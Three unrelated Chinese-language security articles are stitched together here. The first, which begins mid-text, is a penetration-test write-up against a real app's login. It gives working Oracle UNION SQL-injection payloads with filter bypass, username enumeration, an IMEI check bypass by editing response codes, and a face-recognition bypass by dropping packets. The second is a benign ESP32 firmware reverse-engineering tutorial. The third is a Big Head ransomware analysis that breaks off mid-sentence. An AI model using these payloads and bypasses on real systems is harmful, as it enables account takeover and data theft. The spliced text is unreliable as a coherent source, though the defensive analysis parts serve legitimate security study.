密文：JdFMQJVRDlmQ2l3ahJlWXFmaox2VxAXVhBFbH5UeJd0YPVjMZNHcsJmSOh1UUFzalJlUxQ1MxsWZOxGWRFXNr1kRSxGV5NWbhpkWUNFVGdkY4NmVZBHZYFmSa52VZZUbNtEbyQFcGZlYphWbTVHbWF2Msd1UWhWbl5kVUJVcaZVY2B3VTpnWxIVYahVT0xGMjpkTWRFc50WYKhXbRllVXZVMjZVW1xmeSlGbyQGcsVUTCB3RUlXRrFWTkh1Uxx2aOpEbtllM41WTqxmbWRnWxQ2QoZ1VwRGWhpEaI5EVxUFZWB3VTJzaVFWaahkY510VldVMtZlNsRlYK5EWTREcGNWNwITWyZleWpFbyIWcsVkYDhmVaZVNw0UasJDZwx2aNZlUrRlNsVkVOxmMiFHbwE2SOpWWZVDMNpGatFVdsBzYKxmbTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果：App返回正常 明文：{"userName":"TEST'or'1'='1","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文：k0VwAlUFNUaCZXerFWRspFcOd0VhZlbTBXOVFGMJpWW3VzaipGetdVdsBzYK5kVUZjRGZFUkhFV2ETVlJEctRVeVVkVPpkeaFHbr5kSOZVWzZkeWhGbyQGcstGZhhmVZl3bVFGUsdVV0p0RhtUNXdFckhVYKZlRhZTMV5kRw1mVwlTbhpkTuZFSwxGZ4BzVTpHbwUlTsJjYxxWRiNEaWplVWpnVoVzVPhkSXF2Msd1U3V0ah1kSUFVc4BDZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxmVsRleJdVYzw2VTlXVGJ1Twh1UVFTVhZHcXNlcwBTTphGbUpXTHF2Q1c1U6xWVltEb6lFVxsmYK5kaZVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果：App返回正常 至此已经可以判断该登录点就是一个注入了，可是返回结果始终都是“用户名或密码错”即使用了' or '1'='1 根据返回结果推测，后端的登录处的逻辑代码可能是这样的 userInfo = 'select * from userinfo where username = <userName>'; userPass = userInfo.password;if (userPass == <passWord>){ return 'Login success'; }else{ return 'Login failed'; }通过Union注入构造万能密码，是可以造成任意用户登陆的，测试过程如下 先使用order by测试，得知字段的数量为9个，构造payload # 由于目标服务器带有过滤，所以这里简单的bypass一下 明文：{"userName":"TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual-- ","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文：JdFMQJVRDlmQ2l3ahFkaipkTqZFdKdVY2B3VTFDb6ZFaw52UZBHbNtkTFRFcWtWZOJkehVUMrVmTwdFVzwGbh9EaYZVc1UkTKxmMUBHdyYVYShkY0xGMjpEbulVe3dlYrxmMiFHbwEWMjZ1V1AXVipkTYNFRaZkTOJVMURDbGJmSaR1UEp0RiNlSqlFMwBTUNx2VSFHbr5kSOx2Vzg3RTdlVIJWevxGZ0EzVTpHbwE1TkhkTwVDMkBTTVRVNsVVYQx2ROlXSHN2T1ITWzBHbSpGZuJFdsBzYK5kVUFjVrFWTGR1UwlTVhBTSql1d1smYqhXbXhXTtR2SOVEVwZUMWhmWuNVSwZFZHFzVTJzawUVYkhkYJpFblVDMXNlesVVYPZEVVZTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkJkTrl1baZ0UhR2RNlXSXVWYkV1U6h2MWtmVIVGRKJzYXVTbZpHZzIVaGRlTIhHMjRDZGpVMoNTUp5kbWVnSyM2MktWW4VleS1kTIVGWSdFZ040aZpnWsJWaONDZIp0VNFTSERFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW 结果：App返回成功 由于Oracle在进行union查询时，所对应的字段数据类型也必须相同，所以还要进行字段数据类型的测试，最终结果如下 # 注意这里passWord我修改成了123，用来测试Union构造的万能密码是否可行 明文：{"userName":"TEST'union/**/select/**/1,'123','123','123','123','123','123','123',1 from dual-- ","passWord":"123","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文：QSXBDUSV0QpJkd5tWYB1UdsBTTXFTbZBXOtFmSWh1TYZUbltEasdVevBTUNx2VSZTMF1kcSVFV2Ezah5EZYdVc1UUZWBXbUBzaVFGUsJTYYBnRkNXMXNlesVVZppERiRnUXFmdwd1UyZleWpFbuNFdsBzYK50aWBDMFZFUoh1Vzx2aOpkTrl1cKxWTpJlbTREeVFmRwd1UysGMVFGZIJWSaZFZzpkaXJDaYJmSOh1UEVDMkBzatR1MSpXUOxGWTBXOVFGMJpWW3VzaipGetd1ROJDZHFzVTpHbwUlTWhlUxhXVNpEbyQFcSpWTpJkbUVnTHJWYGpXWyAHMR1EbXVFWG1GZLh2aXFjWVJmSaR1UUBXMkNHarZlNsRlYK5EWTVTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkNDZWdFeJFjUKJFWPRnTXJ2QOZFV650Vl5EbYJlNwBzYqxGWUVjVrV2SONTW1ETVlZEcuNleOdVZOxGWSZDcwMmashFV1Y1altkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW 结果：提示是弱密码（说明此方法可行） 接下来就是一个字段一个字段的改过去，判断哪个字段对应的是密码字段，测试结果如下 # 注意这里passWord我修改成了Ceshi123@@@，不再是弱口令了 明文：{"userName":"TEST'union/**/select/**/1,'123','123','Ceshi123@@@','123','123','123','123',1 from dual-- ","passWord":"Ceshi123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文：k0VwAlUFNUaCZXerFWUPtEbIp1cWRlYKpFVTBnStR2cKpXW1olVitGbyQGcsVUZOJ1aUFTRrVmTwh1UFFzaNplUWRFerZkUQxmMiFHbFN2VkxWW3BHMR1EbH9EdSd0YhVzVTJzawEVYW5mU050VhtkTFRFcGxmUQB3MhVVMwY1SsJDVwR2MWFGdX9EWKdVYzw2VTRDbVFGUsdlVI50VONFetl1dS1WTp5kbTREeVFmUSVFVxwmRS5kVYFVcxUVY2B3VTFDb6ZFaw52UZBXMWNEawk1bwBTUNx2VSFHeFVGMNxGVwlTbhpkVY9EWG1WZLhGbXhVNw0UasJDZwxGMhNnSqlVNKZlYphWbTBXOVFmVkBTWxkkVNpmWuNFR4VVYCZVVVJUNrFmToNTYIZUbldlSUVFc50WYKRXbTpXSHd1TOpXWvp0aipkTYNFRsVEZ310aZ9mWGNVYkdUT5l0VlFGZVNFNkhVZLBHWTVVMrJ2Ms52U2wWRW5UNyQWNwtWZKJlVUVHZYV2Swh1UVFzaiNDbuNlQKVlUSBHWTVVMFN2bKpXWzVTRNtkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果：提示登录成功 在绕过后，发现程序出现了异常 仔细观察返回的数据，其中有username（用户名）、staffId（职工号）、email（邮箱）、staffName（姓名）、tel（手机号）、mobile（手机号），然而这些数据都是我刚刚自己随便构造的，这里应该需要一个真实的用户信息，供后续的登录流程使用 好在，还是有一个地方能获取真实的用户信息的 三、由忘记密码，爆破用户名App还有一个忘记密码的功能（通常这里可以爆破用户名） 利用忘记密码的功能可以判断用户名是否存在，这里随便跑了一下字典，就出来好多用户名 四、破解短信验证码自然而然地利用这些用户名使用短信验证码登录 获取验证码，然后解密数据包，惊奇的发现返回了用户基本信息 根据登录返回结果，重新测试payload，最终结果如下 明文：{"userName":"TEST\'union/**/select/**/<staffId>,\'Qwe123@@@\',\'<userName>\',\'Qwe123@@@\',\'<mobile>\',\'<mobile>\',\'<email>\',\'865166023309431\',<staffId> from dual -- ","passWord":"Qwe123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文：xxxxxxxxx结果：提示登录成功 仔细看返回的登录数据，已经正常了 然后重新替换数据包登录，提示绑定IMEI 这个绕过很简单，随便输入验证码，替换返回包，把resultCode从1001改为1000就行（常规操作） 五、抓包、改包，绕过人脸识别最终还要个人脸认证 先用自己的脸检测，这时候手机会向服务器发包，burp把手机发向服务器的包直接丢掉就可以绕过 点击确定后，还有一个大数据包发向服务器，这里面包含的是人脸数据 修改数据包，将其中的人脸数据替换为空，然后发送 六、成功登录APP最终的最终，成功登录APP 转载于原文链接： https://mp.weixin.qq.com/s/rpBQn2LV1xOOUGjvSRuSRg

物聯網(IoT) 設備已經成為我們日常生活、工作環境、醫院、政府設施和車隊的重要組成部分。比如：Wi-Fi打印機、智能門鎖、報警系統等等。 2020 年，美國居民平均擁有十多個聯網設備。但出於實用性而選擇物聯網設備的用戶還需要確保這些設備的安全。 由於物聯網設備通常連接到內部家庭或公司網絡，因此破壞此類設備可以為犯罪分子提供對整個系統的訪問權限。 2021 年前六個月，智能設備遭受了約15 億次攻擊，攻擊者試圖竊取數據、挖掘加密貨幣或構建殭屍網絡。 確保物聯網設備良好安全性的一種方法是執行逆向工程活動，這將幫助您更好地了解特定設備的構建方式，並允許您對設備及其固件進行進一步分析。 在本文中，我們展示了智能空氣淨化器逆向工程固件的實際示例，強調了研究其架構的重要性。本文對於致力於網絡安全項目、想要了解逆向工程物聯網設備的細微差別和步驟的開發團隊很有幫助。 研究固件架構的重要性逆向工程物聯網固件的過程因所研究的設備而異。 物聯網設備發展得非常快，市場的主導架構一直在變化。不到十年前，最流行的選擇主要是x86 或ARM，不太可能是MIPS 或PowerPC。但現在，您需要了解多種微控制器架構來對嵌入式設備進行逆向工程：Tricore、rh850、i8051、PowerPC VLE等。 深入學習單一架構不足以在物聯網逆向工程中取得成功。如果開發人員有必要盡快開始逆向工程，他們應該從學習固件架構和結構的基礎知識開始。 這正是我們想要在本文中描述的：逆向工程師研究他們以前從未見過的新架構和固件格式的方式。 在本文中，我們使用了小米空氣淨化器3H 的固件轉儲。我們選擇它是因為它是ESP32 CPU（即Tensilica Xtensa 架構）的固件轉儲。這是一種相當奇特的架構選擇，但在需要Wi-Fi 通信的物聯網設備中很常見。您可以在此GitHub 頁面上找到我們將作為本文示例進行逆向工程的固件(ESP-32FW.bin)。 這種情況的挑戰是，沒有針對固件架構的現有反編譯器，並且反彙編器幾乎不支持它。然而，這是逆向工程師當今面臨的一個非常準確的例子。 物聯網固件逆向工程過程由以下五個階段組成： 1.確定架構在對物聯網設備進行逆向工程之前要問的第一個問題是如何了解逆向工程所需的固件的架構。 最直接的找出方法是閱讀CPU 的數據表並從中了解答案。但在某些情況下，您所擁有的只是固件本身。在這種情況下，您可以使用以下兩個選項之一： 1. 字符串搜索可能允許您找到一些剩餘的編譯字符串，其中包含有關編譯器名稱和體系結構的信息。 2. 二進制模式搜索要求您了解不同類型的微控制器架構中經常使用的指令。您可以在固件中搜索特定架構常見的二進制模式，然後嘗試將固件加載到支持此類架構的反彙編程序中以驗證您的猜測。 一旦確定了架構類型，您就可以開始選擇用於進一步逆向的工具集。對於ESP-32FW.bin，我們已經知道它將是Tensilica Xtensa 架構，因此我們需要選擇要用於研究的反彙編程序。 2.選擇反彙編工具在研究了可以支持Xtensa 的適當反彙編程序後，我們最終得到了三個選項：IDA、Ghidra和Radare。 我們決定首先嘗試使用Ghidra 和IDA，因為我們已經擁有將這些工具成功應用於不同逆向工程項目的豐富經驗。由於IDA 沒有用於Xtensa 的反編譯器，只有用於反彙編器的CPU 模塊，因此我們決定首先嘗試使用Ghidra（我們使用的是10.0 版本）。 Ghidra 默認不支持Xtensa，因此我們需要先為Ghidra 安裝Tensilica Xtensa 模塊。 Xtensa 的反彙編程序可以工作，但反編譯程序存在一些問題，如下面的屏幕截圖所示： 屏幕截圖1. 有關Ghidra 反編譯器中未實現指令的警告 經過一段時間的反彙編，我們意識到Xtensa 的Ghidra 處理器模塊在多種情況下難以確定指令長度。因此，我們放棄了Ghidra，轉而使用IDA（我們使用的是7.7 版本）。 起初在處理器模塊列表中找到Xtensa 很困難，但最終我們在這裡找到了它： 屏幕截圖2. IDA 處理器模塊列表中的Xtensa IDA 中的處理器模塊看起來足夠穩定，因此我們決定堅持使用IDA。 3. 加載固件第一步是將固件加載到正確的映像基地址，以便將所有全局變量指針解析為有效地址。為此，有必要了解代碼在二進製文件中的位置。 我們首先在基地址加載固件0，並嘗試標記盡可能多的代碼。為了能夠在IDA 中正確標記代碼，我們需要學習Xtensa 固件常見的典型指令序列。為了找出在函數序言中使用哪些指令，我們從GitHub 中獲取了一個示例：esp8266/Arduino：適用於Arduino 的ESP8266 核心。 編譯器似乎使用了以下指令：entry a1, XX 該指令根據參數的值轉換為字節序列，例如36 41 00/36 61 00/36 81 00XX。 通過實現一個簡單的IDA 腳本來搜索此類模式，可以標記大約90% 的代碼： 屏幕截圖3. 在IDA 中標記代碼的結果 一旦我們找到了代碼，就該探索並看看它看起來是否正確。 看看下面的截圖，很明顯有問題。字符串資源被正確引用，但call8指令指向字符串，而不是代碼。並且有些call8指令指向不存在的地址。通常這意味著映像基址錯誤，固件必須加載到其他基址，而不是0. 屏幕截圖4. 發現call8 指令指向字符串和不存在的地址 確定基地址的常見方法是： 1.選擇一個字符串。 2.使用該字符串地址的低位部分查找引用它的代碼。 3.找出真實的字符串地址和我們在代碼中看到的地址之間的差異。因此，我們可以理解如何移動代碼的地址以匹配字符串的當前地址。 在這種情況下，我們發現基地址一定是0x3F3F0000，但即使使用它，call8指令仍然無效。這可能意味著二進制數據被分段，並且閃存中的代碼被分段映射到RAM。因此，有必要將固件分割成多個片段，並將這些片段加載到IDA 的適當段中。 我們查看了固件中的字符串，發現它確實是分段的： 屏幕截圖5. 固件分段證明 經過進一步研究，我們發現了ESP IDF 框架。由於我們的目標固件包含該框架的某些版本，因此我們可以嘗試使用其源代碼來了解固件結構。 我們在ESP IDF 內的bootloader_utility.c 源代碼文件中發現了一個有趣的bootloader_utility_load_partition_table()函數，這意味著固件必須包含分區表。 屏幕截圖6. bootloader_utility_load_partition_table() 函數顯示固件必須包含分區表 為了識別分區表，我們繼續探索源代碼，最終找到了esp_partition_table_verify()函數，該函數由bootloader_utility_load_partition_table()函數調用： 屏幕截圖7. 發現esp_partition_table_verify() 函數 所以一定有ESP_PARTITION_MAGIC和ESP_PARTITION_MAGIC_MD5： 二分搜索AA 50給了我們很好的結果： 屏幕截圖8. AA 50 的二分搜索成功結果 兩者ESP_PARTITION_MAGIC都ESP_PARTITION_MAGIC_MD5可以在附近看到。最有可能的sub_3F3F4848 是esp_partition_table_verify()。 由於我們已經知道esp_partition_table_verify函數在哪裡，因此我們能夠找到bootloader_utility_load_partition_table函數和ESP_PARTITION_TABLE_OFFSET 文件偏移量： 屏幕截圖9. 查找bootloader_utility_load_partition_table 和ESP_PARTITION_TABLE_OFFSET 屏幕截圖10. 查找偏移值 ESP_PARTITION_TABLE_OFFSET 是ESP32-FW.bin 文件中的文件偏移量。現在我們只需要知道分區表條目的結構。 ESP IDF框架的源代碼再次幫助了我們： 我們已將這些結構導入IDA 並將其應用到分區表數據中： 屏幕截圖11. 將結構導入IDA 並將其應用到分區表數據 如您所見，esp_partition_pos_t.offset 是每個分區的文件偏移量，我們現在可以將ESP32-FW.bin 拆分為分區。 但是我們如何才能將每個分區加載到適當的地址呢？似乎有一個image_load()函數負責將固件分區映射到地址空間： 屏幕截圖12. 將固件分區映射到地址空間 接下來，每個分區被分成段。在標題之後，您可以看到一個結構，後面是實際數據： 這裡，esp_image_segment_header_t.load_addr是CPU 地址空間中段數據的虛擬地址。 分區內的段如下所示： 現在，有了有關段的完整信息，我們可以將分區拆分為段並將它們加載到IDA 中的適當地址。我們可以手動完成此提取工作，也可以嘗試通過IDA 加載器插件將其自動化。 儘管如此，Ghidra 似乎已經實現了這樣的加載器。

趨勢科技研究人員日前發現了有關針對Windows系統的'Big Head'勒索程序，目前該惡意勒索程序已衍生出至少三種變體，其中一種是通過網絡釣魚方法傳播惡意網址，然後將'Big Head'勒索程序病毒擴散出去，並會偽裝成Windows Update的接口、或是假裝是Word安裝資訊，誘騙下載，安裝過程還有'進度條'讓人以為是官方程序。 本文會詳細介紹Big Head這個新勒索程序家族的技術細節。 關於Big Head的報導最早出現在5月，截止目前，該家族至少有三個變體被記錄在案。經過仔細檢查，我們發現這兩個變體在其勒索信中共享了一個共同的聯繫電子郵件，這使我們懷疑這兩種不同的變體來自同一個惡意程序開發人員。進一步研究這些變體，研究人員發現了該惡意程序的大量變體。接下來，我們將深入研究這些變體的例程，它們的異同，以及這些感染被濫用進行攻擊時的潛在危害影響。 接下來，我們將詳細介紹目前已發現的三個Big Head示例，以及它們各自的功能。分析發現，這三個Big Head勒索程序變體都是偽裝成虛假Windows更新和Word安裝程序傳播的。 變體1 變體1的攻擊流程 “Big Head”勒索程序變體1(SHA256: 6d27c1b457a34ce9edfb4060d9e04eb44d021a7b03223ee72ca569c8c4215438，被趨勢科技檢測為Ransom.MSIL.EGOGEN.THEBBBC)包含一個.NET編譯的二進製文件。此二進製文件使用CreateMutex檢查互斥鎖名稱8bikfjjD4JpkkAqrz，如果找到了互斥鎖名稱，則自我終止。 調用CreateMutex函數 MTX值' 8bikfjjD4JpkkAqrz ' 該示例還有一個配置列表，其中包含與安裝過程相關的詳細信息。它指定了各種操作，例如創建註冊表項、檢查文件是否存在並在必要時覆蓋它、設置系統文件屬性以及創建自動運行註冊表項。這些配置設置由管道符號“|”分隔，並附有相應的字符串，這些字符串定義了與每個操作相關聯的特定行為。 配置列表 該惡意程序在安裝時遵循的行為格式如下： 此外，我們注意到存在三個資源，其中包含類似於擴展名為“*.exe”的可執行文件的數據： 1.exe會釋放其自身的副本以進行傳播。這是一個勒索程序，在加密和附加“.pop”擴展名之前，它會檢查擴展名“.r3d”。 2.Archive.exe會釋放了一個名為teleratserver.exe的文件，這是一個Telegram木馬程序，負責與攻擊者的聊天機器人ID建立通信。 3.Xarch.exe會釋放了一個名為BXIuSsB.exe的文件，這是一個加密文件並將文件名編碼為Base64的勒索程序。它還顯示了一個虛假的Windows更新來欺騙受害者，使其認為惡意活動是一個合法的進程。 這些二進製文件是加密的，如果沒有適當的解密機制，它們的內容將無法訪問。 在主示例中找到了三個資源 位於資源部分(“1.exe”)中的一個文件的加密內容 為了從資源中提取三個二進製文件，惡意程序採用了帶有電子密碼本(ECB)模式的AES解密。這個解密過程需要一個初始化向量(IV)來進行正確的解密。 值得注意的是，所使用的解密密鑰是從互斥鎖8bikfjjD4JpkkAqrz的MD5哈希中派生出來的。這個互斥鎖是一個硬編碼的字符串值，其中它的MD5哈希值用於解密三個二進製文件1.exe、archive.exe和Xarch.exe。需要注意的是，每個變體的MTX值和加密資源不同。 研究人員通過專門利用變體名稱的MD5哈希來手動解密每個二進製文件中的內容。完成此步驟後，我們繼續使用AES模式來解密加密的資源文件。 用於解密三個二進製文件（頂部）和來自父文件的解密二進製文件（底部）的代碼 下表顯示了使用MTX值8bikfjjD4JpkkAqrz解密的惡意程序釋放的二進製文件的詳細信息。這三個二進製文件在代碼結構和二進製文件提取方面與父變體有相似之處： 解密並提取的三個二進製文件 1.exe（左）、teleratserver.exe（中）和BXIuSsB.exe（右） 二進製文件本節詳細介紹了從上一個表中標識的已釋放的二進製文件，以及父示例釋放的第一個二進製文件1.exe。 最初，該文件將通過使用帶有SW_hide（0）的WinAPI ShowWindow來隱藏控制台窗口。該惡意程序將創建一個自動運行註冊表項，使其能夠在系統啟動時自動執行。此外，它將製作自己的副本，並將其保存為本地計算機中 ShowWindow API代碼隱藏當前進程的窗口(頂部)和註冊表項的創建，並將其本身的副本作為“discord.exe”(底部)釋放 Big Head勒索程序在%appdata%\ID中檢查受害者的ID。如果ID存在，勒索程序會驗證ID並讀取內容。否則，它將創建一個隨機生成的40個字符字符串，並將其寫入文件%appdata%\ID，作為一種攻擊標記，以識別其受害者。 觀察到的行為表明，擴展名為“.r3d”的文件是使用AES加密的特定目標，其密鑰源自加密塊鏈接（CBC）模式下的“123”的SHA256哈希。因此，加密的文件最終會附加“.popup”擴展名。 惡意程序在加密和附加”.poop”擴展名之前檢查包含“.r3d”的擴展名（頂部），以及當文件擴展名“.r3d”存在時的文件加密過程（底部） 在這個文件中，我們還觀察到勒索程序是如何刪除其卷影副本的。用於刪除卷影副本和備份的命令，也用於禁用恢復選項，如下所示： 它將贖金通知放在桌面、子目錄和%appdata%文件夾上。 Big Head勒索程序還更改了受害者機器的壁紙。 “1.exe”二進製文件的勒索信 受害者計算機上的壁紙 最後，它將執行打開瀏覽器的命令，並訪問惡意程序開發人員的Telegram帳戶hxxps[:]//t[.]me/[REDACTED]_69。分析顯示，除了重定向之外，沒有與該帳戶交換任何特定的操作或通信。 Teleratserver是一個64位python編譯的二進製文件，它通過Telegram充當攻擊者和受害者之間的通信通道。它接受命令“開始”、“幫助”、“屏幕截圖”和“消息”。 從二進製文件反編譯的Python腳本 惡意程序顯示了一個虛假的Windows Update UI，以欺騙受害者，使其認為惡意活動是合法的程序更新過程，其進度百分比以100秒為增量。 負責虛假更新的代碼（左）和向用戶顯示的虛假更新（右） 如果用戶的系統語言與俄羅斯、白俄羅斯、烏克蘭、哈薩克、吉爾吉斯、亞美尼亞、格魯吉亞、韃靼和烏茲別克國家代碼匹配，惡意程序就會自行終止。該惡意程序還禁用任務管理器，以防止用戶終止或調查其進程。 負責禁用任務管理器的“KillCtrlAltDelete”命令 該惡意程序將其副本放入其創建的隱藏文件夾 創建自動運行註冊表 該惡意程序還會隨機生成一個32個字符的密鑰，稍後將用於加密文件。然後，該密鑰將使用帶有硬編碼公鑰的RSA-2048進行加密。 然後，勒索程序會釋放包含加密密鑰的勒索信。 勒索信 惡意程序會避開包含以下子字符串的目錄： WINDOWSorWindowsRECYCLERorRecyclerProgramFilesProgramFiles(x86)Recycle.BinorRECYCLE.BINTEMPorTempAPPDATAorAppDataProgramDataMicrosoftBurn通過將這些目錄排除在其惡意活動之外，可以降低被檢測到的可能性，並增加了在更長時間內持續運行的機會。以下是Big Head勒索程序加密的擴展名: 該惡意程序還會終止以下進程： 惡意程序使用Base64重命名加密文件。我們觀察到惡意程序使用LockFile功能，該功能通過重命名文件並添加標記來加密文件。此標記用作確定文件是否已加密的標識。通過進一步檢查，研究人員看到了在加密文件中檢查標記的功能。解密後，可以在加密文件的末尾匹配標記。 LockFile函數 檢查標記“###”(頂部)並在加密文件的末尾找到標記(底部) 惡意程序針對以下語言和當前用戶操作系統的區域或本地設置，如下所示： 勒索程序檢查磁盤枚舉註冊表中的VBOX、Virtual或VMware等字符串，以確定係統是否在虛擬環境中運行。它還掃描包含以下子字符串的進程：VBox、prl_（parallel的桌面）、srvc.exe、vmtoolsd。 正在檢查虛擬機標識符（頂部）和進程（底部） 惡意程序識別與虛擬化程序相關的特定進程名，以確定係統是否在虛擬化環境中運行，從而允許它相應地調整其操作，以成功攻擊目標或逃避。它也可以繼續刪除恢復備份可用，使用以下命令行: 刪除備份後，不管可用的備份數量是多少，它都將使用SelfDelete()函數繼續自我刪除。此函數啟動批處理文件的執行，這將刪除惡意程序可執行文件和批處理文件。 SelfDelete函數 變體2研究人員觀察到的變體2 (SHA256: 2a36d1be9330a77f0bc0f7fdc0e903ddd99fcee0b9c93cb69d2f0773f0afd254，由趨勢科技檢測為Ransom.MSIL.EGOGEN.THEABBC)也表現出勒索程序和竊取行為。 Big Head勒索病毒第二變體的攻擊流程 主文件釋放並執行以下文件： %TEMP%\runyes.Crypter.bat%AppData%\Roaming\azz1.exe%AppData%\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\Server.exe勒索程序活動由runyes.Crypter.bat和azz1.exe執行，而Server.exe負責收集信息執行竊取。 文件runyes.Crypter.bat會釋放其自身和Cipher.psm1，然後執行以下命令以開始加密： 該惡意程序使用AES算法對文件進行加密，並在加密的文件中添加後綴“.popup69news@[REDACTED]”。它專門針對具有以下擴展名的文件： 文件azz1.exe也參與了其他勒索程序活動。 Big Head勒索程序變體2的勒索信 和第一個變體一樣，第二個變體也更改了受害者的桌面壁紙。之後，它將使用系統的默認web瀏覽器打開URL hxxps[:]//github[.]com/[REDACTED]_69。截至本文撰寫之時，URL已不可用。 該勒索程序的其他變體也使用了滴管azz1.exe，儘管每個二進製文件的具體文件可能不同。同時，Server.exe已經被確定為WorldWind的竊取程序，收集了以下數據： 所有可用瀏覽器的瀏覽歷史記錄； 目錄列表； 驅動程序副本； 正在運行的進程列表； 產品密鑰； 網絡； 運行文件後的屏幕截圖； 變體3變體3(SHA256: 25294727f7fa59c49ef0181c2c8929474ae38a47b350f7417513f1bacf8939ff, Trend檢測為Ransom.MSIL.EGOGEN.YXDEL)包含一個被識別為Neshta文件攻擊流程。 變體3的攻擊流程 Neshta是一種旨在感染並將其惡意代碼插入可執行文件的惡意程序。該惡意程序還會釋放一個名為directx.sys的文件，其中包含上次執行的受感染文件的完整路徑名。這種行為在大多數類型的惡意程序中並不常見，因為它們通常不會在釋放的文件中存儲此類特定信息。 將Neshta納入勒索軟件部署也可以作為最終Big Head勒索軟件有效負載的偽裝技術。這項技術可以使惡意軟件看起來像是一種不同